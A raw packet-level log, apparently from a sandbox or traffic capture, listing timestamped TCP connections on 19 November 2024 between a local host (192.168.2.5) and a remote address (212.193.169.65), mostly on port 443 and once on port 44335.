Nov 19, 2024 19:15:19.034974098 CET	49997	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.035058975 CET	49997	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.046612024 CET	50000	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.046670914 CET	443	50000	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:19.046829939 CET	50000	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.047646046 CET	50000	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.047658920 CET	443	50000	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:19.850888014 CET	443	50000	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:19.850989103 CET	50000	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.852427006 CET	50000	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.852441072 CET	443	50000	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:19.852766037 CET	443	50000	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:19.853501081 CET	50000	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.855053902 CET	50000	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.855093956 CET	443	50000	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:19.855118990 CET	50000	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.855272055 CET	443	50000	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:19.855320930 CET	443	50000	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:19.855334044 CET	50000	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.855366945 CET	50000	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.963618040 CET	50003	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.963675976 CET	443	50003	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:19.963934898 CET	50003	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.964734077 CET	50003	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:19.964750051 CET	443	50003	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:20.786951065 CET	443	50003	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:20.787070036 CET	50003	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:20.788532019 CET	50003	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:20.788559914 CET	443	50003	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:20.789462090 CET	443	50003	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:20.790210962 CET	50003	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:20.790977001 CET	50003	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:20.791027069 CET	443	50003	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:20.791196108 CET	50003	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:20.791296005 CET	443	50003	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:20.791373968 CET	50003	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:20.869517088 CET	50006	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:20.869573116 CET	443	50006	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:20.869648933 CET	50006	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:20.870150089 CET	50006	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:20.870167971 CET	443	50006	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:21.684108973 CET	443	50006	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:21.684184074 CET	50006	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:21.685453892 CET	50006	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:21.685463905 CET	443	50006	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:21.685698986 CET	443	50006	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:21.686317921 CET	50006	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:21.686613083 CET	50006	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:21.686645031 CET	443	50006	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:21.686744928 CET	443	50006	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:21.686770916 CET	443	50006	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:21.686836958 CET	50006	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:21.686963081 CET	50006	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:21.701720953 CET	50009	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:21.701740980 CET	443	50009	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:21.701816082 CET	50009	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:21.702192068 CET	50009	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:21.702209949 CET	443	50009	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:22.536370993 CET	443	50009	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:22.536474943 CET	50009	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:22.540560961 CET	50009	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:22.540572882 CET	443	50009	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:22.540908098 CET	443	50009	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:22.541974068 CET	50009	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:22.543798923 CET	50009	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:22.543798923 CET	50009	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:22.543834925 CET	443	50009	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:22.543987036 CET	443	50009	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:22.544020891 CET	443	50009	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:22.544065952 CET	50009	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:22.544080973 CET	50009	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:22.584532976 CET	50012	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:22.584595919 CET	443	50012	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:22.584742069 CET	50012	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:22.585602999 CET	50012	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:22.585612059 CET	443	50012	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:23.301798105 CET	443	50012	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:23.301861048 CET	50012	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:23.303610086 CET	50012	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:23.303621054 CET	443	50012	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:23.303940058 CET	443	50012	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:23.304691076 CET	50012	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:23.306626081 CET	50012	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:23.306653976 CET	443	50012	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:23.306690931 CET	50012	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:23.306767941 CET	443	50012	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:23.306797028 CET	443	50012	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:23.306854963 CET	50012	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:23.306854963 CET	50012	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:23.342430115 CET	50015	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:23.342453003 CET	443	50015	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:23.342524052 CET	50015	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:23.343391895 CET	50015	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:23.343405962 CET	443	50015	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:24.146747112 CET	443	50015	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:24.146811008 CET	50015	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:24.148324966 CET	50015	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:24.148334026 CET	443	50015	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:24.148621082 CET	443	50015	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:24.149642944 CET	50015	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:24.149738073 CET	50015	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:24.149813890 CET	443	50015	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:24.149856091 CET	50015	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:24.149857044 CET	443	50015	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:24.149934053 CET	50015	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:24.161653042 CET	50018	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:24.166518927 CET	44335	50018	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:24.166601896 CET	50018	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:24.167290926 CET	50018	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:24.172086000 CET	44335	50018	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:24.866322041 CET	44335	50018	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:24.866332054 CET	44335	50018	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:24.866349936 CET	44335	50018	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:24.866357088 CET	44335	50018	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:24.866362095 CET	44335	50018	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:24.866499901 CET	50018	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:24.866499901 CET	50018	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:24.952999115 CET	44335	50018	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:24.963912964 CET	50018	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:24.968749046 CET	44335	50018	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:25.185463905 CET	44335	50018	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:25.186451912 CET	50018	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:25.187125921 CET	50018	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:25.187194109 CET	50018	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:25.191260099 CET	44335	50018	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:25.191972971 CET	44335	50018	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:25.192224979 CET	44335	50018	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:25.192315102 CET	50018	44335	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:25.285712957 CET	50021	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:25.285809040 CET	443	50021	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:25.285964012 CET	50021	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:25.286444902 CET	50021	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:25.286483049 CET	443	50021	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.036268950 CET	443	50021	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.036464930 CET	50021	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.038516045 CET	50021	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.038551092 CET	443	50021	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.038862944 CET	443	50021	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.039427042 CET	50021	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.040497065 CET	50021	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.040543079 CET	443	50021	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.040678978 CET	443	50021	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.040708065 CET	443	50021	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.040755987 CET	50021	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.040858984 CET	50021	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.063853025 CET	50024	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.063884020 CET	443	50024	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.063982010 CET	50024	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.065006971 CET	50024	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.065027952 CET	443	50024	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.780937910 CET	443	50024	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.781019926 CET	50024	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.782334089 CET	50024	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.782350063 CET	443	50024	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.782613993 CET	443	50024	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.783276081 CET	50024	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.783813000 CET	50024	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.783828020 CET	443	50024	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.783926964 CET	443	50024	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.783952951 CET	443	50024	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.783978939 CET	50024	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.783978939 CET	50024	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.783997059 CET	443	50024	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.784050941 CET	50024	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.784050941 CET	50024	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.987628937 CET	50027	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.987659931 CET	443	50027	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:26.987927914 CET	50027	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.988194942 CET	50027	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:26.988208055 CET	443	50027	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:27.786269903 CET	443	50027	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:27.786365032 CET	50027	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:27.787609100 CET	50027	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:27.787616014 CET	443	50027	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:27.787849903 CET	443	50027	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:27.788433075 CET	50027	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:27.788738012 CET	50027	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:27.788765907 CET	443	50027	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:27.788821936 CET	50027	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:27.788866997 CET	443	50027	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:27.788896084 CET	443	50027	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:27.788964033 CET	50027	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:27.788964033 CET	50027	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:27.853272915 CET	50030	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:27.853313923 CET	443	50030	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:27.853590965 CET	50030	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:27.853919029 CET	50030	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:27.853929996 CET	443	50030	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:28.658329010 CET	443	50030	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:28.658543110 CET	50030	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:28.661598921 CET	50030	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:28.661626101 CET	443	50030	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:28.662132025 CET	443	50030	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:28.663322926 CET	50030	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:28.666867971 CET	50030	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:28.666941881 CET	443	50030	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:28.667164087 CET	443	50030	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:28.667202950 CET	443	50030	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:28.667274952 CET	50030	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:28.667274952 CET	50030	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:28.667274952 CET	50030	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:28.667288065 CET	443	50030	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:28.667598963 CET	50030	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:28.802875042 CET	50033	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:28.802920103 CET	443	50033	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:28.802988052 CET	50033	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:28.803605080 CET	50033	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:28.803622007 CET	443	50033	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:29.599899054 CET	443	50033	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:29.600121975 CET	50033	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:29.601813078 CET	50033	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:29.601829052 CET	443	50033	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:29.602169991 CET	443	50033	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:29.603333950 CET	50033	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:29.604504108 CET	50033	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:29.604523897 CET	443	50033	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:29.604640961 CET	443	50033	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:29.604675055 CET	443	50033	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:29.604713917 CET	50033	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:29.604846954 CET	50033	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:29.635727882 CET	50036	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:29.635770082 CET	443	50036	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:29.635832071 CET	50036	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:29.636255980 CET	50036	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:29.636270046 CET	443	50036	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:30.441478014 CET	443	50036	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:30.441555977 CET	50036	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:30.443526983 CET	50036	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:30.443536997 CET	443	50036	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:30.443929911 CET	443	50036	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:30.444654942 CET	50036	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:30.446083069 CET	50036	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:30.446118116 CET	443	50036	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:30.446175098 CET	50036	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:30.446233034 CET	443	50036	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:30.446294069 CET	443	50036	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:30.446363926 CET	50036	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:30.446363926 CET	50036	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:30.519597054 CET	50039	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:30.519639969 CET	443	50039	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:30.519709110 CET	50039	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:30.520082951 CET	50039	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:30.520092964 CET	443	50039	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:31.309736013 CET	443	50039	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:31.309864998 CET	50039	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:31.344800949 CET	50039	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:31.344829082 CET	443	50039	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:31.345266104 CET	443	50039	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:31.346647978 CET	50039	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:31.347871065 CET	50039	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:31.347901106 CET	443	50039	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:31.348023891 CET	443	50039	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:31.348057985 CET	443	50039	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:31.348108053 CET	50039	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:31.348308086 CET	50039	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:31.467096090 CET	50042	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:31.467142105 CET	443	50042	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:31.468545914 CET	50042	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:31.469237089 CET	50042	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:31.469263077 CET	443	50042	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:32.178497076 CET	443	50042	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:32.178597927 CET	50042	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:32.180011034 CET	50042	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:32.180032969 CET	443	50042	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:32.180289030 CET	443	50042	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:32.181027889 CET	50042	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:32.181621075 CET	50042	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:32.181648016 CET	443	50042	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:32.181710958 CET	50042	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:32.181767941 CET	443	50042	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:32.181816101 CET	443	50042	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:32.181826115 CET	50042	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:32.181854010 CET	50042	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:32.191164970 CET	50045	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:32.191210985 CET	443	50045	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:32.191273928 CET	50045	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:32.191834927 CET	50045	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:32.191845894 CET	443	50045	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:32.899270058 CET	443	50045	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:32.899427891 CET	50045	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:32.901124001 CET	50045	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:32.901134968 CET	443	50045	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:32.901511908 CET	443	50045	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:32.902542114 CET	50045	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:32.903011084 CET	50045	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:32.903028965 CET	443	50045	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:32.903187990 CET	50045	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:32.903212070 CET	443	50045	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:32.903258085 CET	443	50045	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:32.903276920 CET	50045	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:32.903340101 CET	50045	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:33.016501904 CET	50048	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:33.016549110 CET	443	50048	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:33.016645908 CET	50048	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:33.017155886 CET	50048	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:33.017167091 CET	443	50048	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:33.813908100 CET	443	50048	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:33.817676067 CET	50048	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:33.820674896 CET	50048	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:33.820684910 CET	443	50048	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:33.821014881 CET	443	50048	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:33.824727058 CET	50048	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:33.826005936 CET	50048	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:33.826147079 CET	443	50048	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:33.826178074 CET	50048	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:33.826395988 CET	443	50048	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:33.826436996 CET	443	50048	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:33.826462030 CET	50048	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:33.826580048 CET	50048	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:34.194263935 CET	50051	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:34.194318056 CET	443	50051	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:34.194451094 CET	50051	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:34.195324898 CET	50051	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:34.195348978 CET	443	50051	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:35.117265940 CET	443	50051	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:35.117342949 CET	50051	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.120763063 CET	50051	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.120773077 CET	443	50051	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:35.121048927 CET	443	50051	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:35.121742964 CET	50051	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.122035980 CET	50051	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.122051954 CET	443	50051	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:35.122129917 CET	50051	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.122154951 CET	443	50051	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:35.122184038 CET	443	50051	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:35.122222900 CET	50051	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.122235060 CET	50051	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.130070925 CET	50054	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.130111933 CET	443	50054	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:35.130247116 CET	50054	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.130608082 CET	50054	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.130621910 CET	443	50054	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:35.948875904 CET	443	50054	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:35.948937893 CET	50054	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.950340033 CET	50054	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.950349092 CET	443	50054	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:35.950608015 CET	443	50054	212.193.169.65	192.168.2.5
Nov 19, 2024 19:15:35.951246023 CET	50054	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.951781034 CET	50054	443	192.168.2.5	212.193.169.65
Nov 19, 2024 19:15:35.951808929 CET	443	50054	212.193.169.65	192.168.2.5
